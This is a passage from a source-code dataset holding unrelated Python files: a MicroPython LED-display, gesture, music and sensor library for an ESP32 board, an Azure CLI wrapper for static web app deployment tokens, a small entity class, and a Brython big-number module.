0, 0, 0, 1, 0, 0] CLOCK8 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0] CLOCK7 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0] CLOCK6 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] CLOCK5 = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] CLOCK4 = [0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] CLOCK3 = [0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] CLOCK2 = [0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] CLOCK1 = [0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] ARROW_N = [0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0] ARROW_NE = [1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1] ARROW_E = [0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0] ARROW_SE = [0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0] ARROW_S = [0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0] ARROW_SW = [1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1] ARROW_W = [0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0] ARROW_NW = [0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0] ALL_CLOCKS = [CLOCK12, CLOCK1, CLOCK2, CLOCK3, CLOCK4, CLOCK5, CLOCK6, CLOCK7, CLOCK8, CLOCK9, CLOCK10, CLOCK11] ALL_ARROWS = [ARROW_N, ARROW_NE, ARROW_E, ARROW_SE, ARROW_S, ARROW_SW, ARROW_W, ARROW_NW] import _thread class Display: lock = _thread.allocate_lock() def __init__(self): self.alive = False self.Led = Pixel() self.tem = [[0, 0, 0]] * 25 # 显示缓存区m= def stop(self): self.alive = False if Display.lock.acquire(): # print("stop") Display.lock.release() def scroll(self, val, color=Red, delay=150): self.stop() self.alive = True if Display.lock.acquire(): # print("start") _thread.start_new_thread(self._scroll,([val,color,delay])) Display.lock.release() def Disrupt_Col(color): a = color[-1] while True: if color_num != 1: import random random.shuffle(color) if a != color[0]: break def _scroll(self, val, color=Red, delay=150): pixel_col = [[0, 0, 0]] * 25 # 显示缓存区m= val = str(val) + ' ' color_num = 1 if color != Red: if isinstance(color[0], list): color_num = len(color) # self.Disrupt_Col(color) #打乱颜色顺序 col_cnt = 0 it = iter(color) for val1 in val: val2 = CharData[val1] if color_num == 1: now_col = color else: if col_cnt < color_num: now_col = next(it) # 确定当前字符的颜色 else: col_cnt = 0 it = iter(color) now_col = next(it) col_cnt += 1 for i in range(25): # 为字符的像素点添加颜色 if val2[i] == 1: pixel_col[i] = now_col else: pixel_col[i] = [0, 0, 0] if Display.lock.acquire(): for i in range(6): # 开始滚动显示 if self.alive == False: Display.lock.release() self.clear() _thread.exit() else: for t in range(4): self.tem[20 - (t * 5):20 - (t * 5) + 5] = self.tem[20 - ((t + 1) * 5):20 - ((t + 1) * 5) + 5] # 数据向前移动5位 if i == 5: self.tem[0:5] = Zero[0:5] # 每个字符之间间隔一行 else: self.tem[0:5] = pixel_col[20 - (i * 5):20 - (i * 5) + 5] for r in range(25): self.Led.LoadPos(r, self.tem[r]) # 亮度为0 self.Led.Show() sleep_ms(delay) Display.lock.release() _thread.exit() def clear(self): self.stop() self.Led.fill((0, 0, 0)) self.Led.Show() def __show(self, it, color): it = iter(it) for r in range(25): col = next(it) self.Led.LoadPos(r, color if col else black) self.Led.Show() def show(self, images, wait=True, color=Red, *, loop=False, delay=500, clear=False): if isinstance(images, str): images = CharData[images] if isinstance(images, list) and (isinstance(images[0], Image) or isinstance(images[0], list)): for i in images: self.__show(i, color) sleep_ms(delay) try: while loop: for i in images: self.__show(i, color) sleep_ms(delay) except Exception as e: self.Led.fill((0, 0, 0)) self.Led.Show() else: it = iter(images) self.__show(it, color) try: while loop: self.__show(it, color) except Exception as e: self.Led.fill((0, 0, 0)) self.Led.Show() def get_pixel(self, x=0, y=0): print("get_pixel will be supported in the future.") def set_pixel(self, x=0, y=0, value=9): print("set_pixel will be supported in the future.") def on(self): self.clear() def off(self): self.clear() def is_on(self): return self.Led != None class Intensity(): dither = 10 def __init__(self, pin): self.old, self.new, self.eliminate = 0, 0, 100 from machine import ADC, Pin self.adc = ADC(Pin(pin, Pin.IN)) self.adc.atten(ADC.ATTN_11DB) # 0-3.9V def read(self): self.old = self.new self.new = self.adc.read() / 4.095 return int(self.new) # result > 0 to state up, < 0 to state down. def get_state(self): # print(self.new, self.old) tmp = self.new - self.old return 0 if abs(tmp) < self.eliminate else tmp def calibrate(self): self.eliminate = 2 + self.read() / Intensity.dither class Gesture(object): idle, ing, end, = 0, 1, 2 def __init__(self, PinLeft=36, PinRight=39, dither=10): Intensity.dither = dither self.l, self.r = Intensity(PinLeft), Intensity(PinRight) self.l_state, self.r_state = Gesture.idle, Gesture.idle self.update=0 def get_brightness(self): self.r.read() self.l.read() def get_gesture(self, delay=25): sleep_ms(delay) self.get_brightness() l_state, r_state = self.l.get_state(), self.r.get_state() result = [] if self.l_state == Gesture.idle and r_state > 0 and self.r.new-self.l.new > self.l.eliminate: self.l_count = 0 self.l_state = Gesture.ing if self.r_state == Gesture.idle and l_state > 0 and self.l.new-self.r.new > self.r.eliminate: self.r_count = 0 self.r_state = Gesture.ing if self.l_state == Gesture.ing: # print(self.l.eliminate) self.l_count += 1 if self.l_count > 20: self.l_state = Gesture.idle elif l_state > 0 and self.r.new-self.l.new < self.l.eliminate: self.l_state = Gesture.end if self.l_state == Gesture.end: self.l_state = Gesture.idle result.append('left') if self.r_state == Gesture.ing: # print(self.r.eliminate) self.r_count += 1 if self.r_count > 20: self.r_state = Gesture.idle elif r_state > 0 and self.l.new-self.r.new < self.r.eliminate: self.r_state = Gesture.end if self.r_state == Gesture.end: self.r_state = Gesture.idle result.append('right') if l_state == 0 and r_state == 0 and self.l_state == Gesture.idle and self.r_state == Gesture.idle: self.update += 1 if self.update > 20: self.update = 0 self.l.calibrate() self.r.calibrate() return None if len(result) != 1 else result[0] DADADADUM = ['r4:2', 'g', 'g', 'g', 'eb:8', 'r:2', 'f', 'f', 'f', 'd:8'] PUNCHLINE = ['c4:3', 'g3:1', 'f#', 'g', 'g#:3', 'g', 'r', 'b', 'c4'] PYTHON = [ 'd5:1', 'b4', 'r', 'b', 'b', 'a#', 'b', 'g5', 'r', 'd', 'd', 'r', 'b4', 'c5', 'r', 'c', 'c', 'r', 'd', 'e:5', 'c:1', 'a4', 'r', 'a', 'a', 'g#', 'a', 'f#5', 'r', 'e', 'e', 'r', 'c', 'b4', 'r', 'b', 'b', 'r', 'c5', 'd:5', 'd:1', 'b4', 'r', 'b', 'b', 'a#', 'b', 'b5', 'r', 'g', 'g', 'r', 'd', 'c#', 'r', 'a', 'a', 'r', 'a', 'a:5', 'g:1', 'f#:2', 'a:1', 'a', 'g#', 'a', 'e:2', 'a:1', 'a', 'g#', 'a', 'd', 'r', 'c#', 'd', 'r', 'c#', 'd:2', 'r:3' ] BADDY = ['c3:3', 'r', 'd:2', 'd#', 'r', 'c', 'r', 'f#:8'] BA_DING = ['b5:1', 'e6:3'] WAWAWAWAA = ['e3:3', 'r:1', 'd#:3', 'r:1', 'd:4', 'r:1', 'c#:8'] JUMP_UP = ['c5:1', 'd', 'e', 'f', 'g'] JUMP_DOWN = ['g5:1', 'f', 'e', 'd', 'c'] POWER_UP = ['g4:1', 'c5', 'e4', 'g5:2', 'e5:1', 'g5:3'] POWER_DOWN = ['g5:1', 'd#', 'c', 'g4:2', 'b:1', 'c5:3'] normal_tone = { 'A1': 55, 'B1': 62, 'C1': 33, 'D1': 37, 'E1': 41, 'F1': 44, 'G1': 49, 'A2': 110, 'B2': 123, 'C2': 65, 'D2': 73, 'E2': 82, 'F2': 87, 'G2': 98, 'A3': 220, 'B3': 247, 'C3': 131, 'D3': 147, 'E3': 165, 'F3': 175, 'G3': 196, 'A4': 440, 'B4': 494, 'C4': 262, 'D4': 294, 'E4': 330, 'F4': 349, 'G4': 392, 'A5': 880, 'B5': 988, 'C5': 523, 'D5': 587, 'E5': 659, 'F5': 698, 'G5': 784, 'A6': 1760, 'B6': 1976, 'C6': 1047, 'D6': 1175, 'E6': 1319, 'F6': 1397, 'G6': 1568, 'A7': 3520, 'B7': 3951, 'C7': 2093, 'D7': 2349, 'E7': 2637, 'F7': 2794, 'G7': 3135, 'A8': 7040, 'B8': 7902, 'C8': 4186, 'D8': 4699, 'E8': 5274, 'F8': 5588, 'G8': 6271, 'A9': 14080, 'B9': 15804 } rising_tone = { 'A1': 58, 'C1': 35, 'D1': 39, 'F1': 46, 'G1': 52, 'A2': 117, 'C2': 69, 'D2': 78, 'F2': 93, 'G2': 104, 'A3': 233, 'C3': 139, 'D3': 156, 'F3': 185, 'G3': 208, 'A4': 466, 'C4': 277, 'D4': 311, 'F4': 370, 'G4': 415, 'A5': 932, 'C5': 554, 'D5': 622, 'F5': 740, 'G5': 831, 'A6': 1865, 'C6': 1109, 'D6': 1245, 'F6': 1480, 'G6': 1661, 'A7': 3729, 'C7': 2217, 'D7': 2489, 'F7': 2960, 'G7': 3322, 'A8': 7459, 'C8': 4435, 'D8': 4978, 'F8': 5920, 'G8': 6645, 'A9': 14917 } falling_tone = { 'B1': 58, 'D1': 35, 'E1': 39, 'G1': 46, 'A1': 52, 'B2': 117, 'D2': 69, 'E2': 78, 'G2': 93, 'A2': 104, 'B3': 233, 'D3': 139, 'E3': 156, 'G3': 185, 'A3': 208, 'B4': 466, 'D4': 277, 'E4': 311, 'G4': 370, 'A4': 415, 'B5': 932, 'D5': 554, 'E5': 622, 'G5': 740, 'A5': 831, 'B6': 1865, 'D6': 1109, 'E6': 1245, 'G6': 1480, 'A6': 1661, 'B7': 3729, 'D7': 2217, 'E7': 2489, 'G7': 2960, 'A7': 3322, 'B8': 7459, 'D8': 4435, 'E8': 4978, 'G8': 5920, 'A8': 6645, 'B9': 14917 } Letter = 'ABCDEFG#R' import _thread class MIDI(): lock = _thread.allocate_lock() def set_tempo(self, ticks=4, bpm=120): self.ticks = ticks self.bpm = bpm self.beat = 60000 / self.bpm / self.ticks def set_octave(self, octave=4): self.octave = octave def set_duration(self, duration=4): self.duration = duration def reset(self): self.set_duration() self.set_octave() self.set_tempo() def stop(self): self.play(['r']) def __init__(self): self.reset() self.alive = False def parse(self, tone, dict): # print(tone) time = self.beat * self.duration pos = tone.find(':') if pos != -1: time = self.beat * int(tone[(pos + 1):]) tone = tone[:pos] # print(tone) freq, tone_size = 1, len(tone) if 'R' in tone: freq = 1 elif tone_size == 1: freq = dict[tone[0] + str(self.octave)] elif tone_size == 2: freq = dict[tone] self.set_octave(tone[1:]) # print(int(freq), int(time)) return int(freq), int(time) def midi(self, tone): # print(tone) pos = tone.find('#') if pos != -1: return self.parse(tone.replace('#', ''), rising_tone) pos = tone.find('B') if pos != -1 and pos != 0: return self.parse(tone.replace('B', ''), falling_tone) return self.parse(tone, normal_tone) def set_default(self, tone): pos = tone.find(':') if pos != -1: self.set_duration(int(tone[(pos + 1):])) tone = tone[:pos] def play(self, tune, wait=False, loop=False, pin=25, duration=None): from machine import Pin, PWM from utime import sleep_ms try: pwm = PWM(Pin(pin)) if duration is None: self.set_default(tune[0]) else: self.set_duration(duration) for tone in tune: tone = tone.upper() # all to upper if tone[0] not in Letter: continue midi = self.midi(tone) pwm.freq(midi[0]) # set frequency pwm.duty(midi[1]) # set duty cycle sleep_ms(midi[1]) finally: pwm.deinit() if loop: while True: self.play(tune) def pitch(self, freq, tim, pin=25): from machine import Pin, PWM from utime import sleep_ms try: pwm = PWM(Pin(pin)) pwm.freq(freq) # set frequency pwm.duty(tim) # set duty cycle sleep_ms(tim) finally: pwm.deinit() class Pins(): def __init__(self, pin): self.pin = pin self.adc = None def write_digital(self, v): Pin(self.pin, Pin.OUT).value(v) def read_digital(self): return Pin(self.pin, Pin.IN).value() def read_analog(self, ATTN = ADC.ATTN_0DB): if self.pin not in range(32,40): # print("This pin feature is not supported") return None if self.adc is None: self.adc = ADC(Pin(self.pin, Pin.IN)) self.adc.atten(ATTN) return self.adc.read() def write_analog(self, value): if self.pin not in [25,26]: # print("This pin feature is not supported") return None DAC(Pin(self.pin)).write(value) def is_touched(self): return self.read_analog() > 3071 Tp = 273.15 T = Tp + 25 # Normal Temperature Parameters _T = 1 / T B = 3950 class Temperature: def __init__(self, adc): self.adc = adc def temperature(self): adc_val = self.adc.read() Vout = adc_val * 3.9 / 4095.0 if 0 < Vout and Vout < 3.3: # -26.9 and 160.5 Rt = ((3.3 / Vout) - 1) * 0.51 # Sampling Resistance is 5.1K ohm import math T1 = 1 / (_T + math.log(Rt) / B) - Tp return round(T1, 1) print('ADC Value Error!') return None display = Display()

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b388a7a58ad9555d505c54a4211f65dedbadf0b8

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py

Python

pyaz/staticwebapp/secrets/__init__.py

py-az-cli/py-az-cli

9a7dc44e360c096a5a2f15595353e9dad88a9792

[ "MIT" ]

null

pyaz/staticwebapp/secrets/__init__.py

py-az-cli/py-az-cli

9a7dc44e360c096a5a2f15595353e9dad88a9792

[ "MIT" ]

null

pyaz/staticwebapp/secrets/__init__.py

py-az-cli/py-az-cli

9a7dc44e360c096a5a2f15595353e9dad88a9792

[ "MIT" ]

1

2022-02-03T09:12:01.000Z

''' Manage deployment token for the static app ''' from ... pyaz_utils import _call_az def list(name, resource_group=None): ''' List the deployment token for the static app. Required Parameters: - name -- Name of the static site Optional Parameters: - resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=<name>` ''' return _call_az("az staticwebapp secrets list", locals()) def reset_api_key(name, no_wait=None, resource_group=None): ''' Reset the deployment token for the static app. Required Parameters: - name -- Name of the static site Optional Parameters: - no_wait -- Do not wait for the long-running operation to finish. - resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=<name>` ''' return _call_az("az staticwebapp secrets reset-api-key", locals())

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b39d8638835e602eaecf0c2066b021cf3ec720e5

139

py

Python

wrapi/entities/ediscovery_search.py

dtitkin/wrapi

d26f327abebb55ca6d2e099d2c76c75af9def888

[ "MIT" ]

7

2020-12-25T14:59:26.000Z

2021-02-16T15:50:50.000Z

wrapi/entities/ediscovery_search.py

dtitkin/wrapi

d26f327abebb55ca6d2e099d2c76c75af9def888

[ "MIT" ]

7

2020-12-25T15:29:05.000Z

2020-12-25T15:38:26.000Z

wrapi/entities/ediscovery_search.py

dtitkin/wrapi

d26f327abebb55ca6d2e099d2c76c75af9def888

[ "MIT" ]

1

2021-02-24T06:50:56.000Z

from __future__ import annotations from ..types_.entity import BaseEntity class EDiscoverySearch(BaseEntity): type: str id: str

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b3a105a622a29c0f93d81988289ef6326718c207

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py

Python

src/Lib/long_int1/__init__.py

JamesHutchison/brython

3beb92bb6125a3e2e96b3e25e8fdac5f73a58871

[ "BSD-3-Clause" ]

null

src/Lib/long_int1/__init__.py

JamesHutchison/brython

3beb92bb6125a3e2e96b3e25e8fdac5f73a58871

[ "BSD-3-Clause" ]

null

src/Lib/long_int1/__init__.py

JamesHutchison/brython

3beb92bb6125a3e2e96b3e25e8fdac5f73a58871

[ "BSD-3-Clause" ]

null

from browser import html, document, window import javascript #memorize/cache? def _get_value(other): if isinstance(other, LongInt): return other.value return other class BigInt: def __init__(self): pass def __abs__(self): return LongInt(self.value.abs()) def __add__(self, other): return LongInt(self.value.plus(_get_value(other))) def __and__(self, other): pass def __divmod__(self, other): _value=_get_value(other) return LongInt(self.value.div(_value)), LongInt(self.value.mod(_value)) def __div__(self, other): return LongInt(self.value.div(_get_value(other))) def __eq__(self, other): return bool(self.value.eq(_get_value(other))) def __floordiv__(self, other): return LongInt(self.value.div(_get_value(other)).floor()) def __ge__(self, other): return bool(self.value.gte(_get_value(other))) def __gt__(self, other): return bool(self.value.gt(_get_value(other))) def __index__(self): if self.value.isInt(): return int(self.value.toNumber()) raise TypeError("This is not an integer") def __le__(self, other): return bool(self.value.lte(_get_value(other))) def __lt__(self, other): return bool(self.value.lt(_get_value(other))) def __lshift__(self, shift): if isinstance(shift, int): _v=LongInt(2)**shift return LongInt(self.value.times(_v.value)) def __mod__(self, other): return LongInt(self.value.mod(_get_value(other))) def __mul__(self, other): return LongInt(self.value.times(_get_value(other))) def __neg__(self, other): return LongInt(self.value.neg(_get_value(other))) def __or__(self, other): pass def __pow__(self, other): return LongInt(self.value.pow(_get_value(other))) def __rshift__(self, other): pass def __sub__(self, other): return LongInt(self.value.minus(_get_value(other))) def __repr__(self): return "%s(%s)" % (self.__name__, self.value.toString(10)) def __str__(self): return "%s(%s)" % (self.__name__, self.value.toString(10)) def __xor__(self, other): pass _precision=20 def get_precision(value): if isinstance(value, LongInt): return len(str(value.value.toString(10))) return len(str(value)) class DecimalJS(BigInt): def __init__(self, value=0, base=10): global _precision _prec=get_precision(value) if _prec > _precision: _precision=_prec window.eval('Decimal.precision=%s' % _precision) self.value=javascript.JSConstructor(window.Decimal)(value, base) class BigNumberJS(BigInt): def __init__(self, value=0, base=10): self.value=javascript.JSConstructor(window.BigNumber)(value, base) class BigJS(BigInt): def __init__(self, value=0, base=10): self.value=javascript.JSConstructor(window.Big)(value, base) def __floordiv__(self, other): _v=LongInt(self.value.div(_get_value(other))) if _v >= 0: return LongInt(_v.value.round(0, 0)) #round down return LongInt(_v.value.round(0, 3)) #round up def __pow__(self, other): if isinstance(other, LongInt): _value=int(other.value.toString(10)) elif isinstance(other, str): _value=int(other) return LongInt(self.value.pow(_value)) _path = __file__[:__file__.rfind('/')]+'/' #to use decimal.js library uncomment these 2 lines #javascript.load(_path+'decimal.min.js', ['Decimal']) #LongInt=DecimalJS #to use bignumber.js library uncomment these 2 lines javascript.load(_path+'bignumber.min.js', ['BigNumber']) LongInt=BigNumberJS #big.js does not have a "base" so only base 10 stuff works. #to use big.js library uncomment these 2 lines #javascript.load(_path+'big.min.js', ['Big']) #LongInt=BigJS

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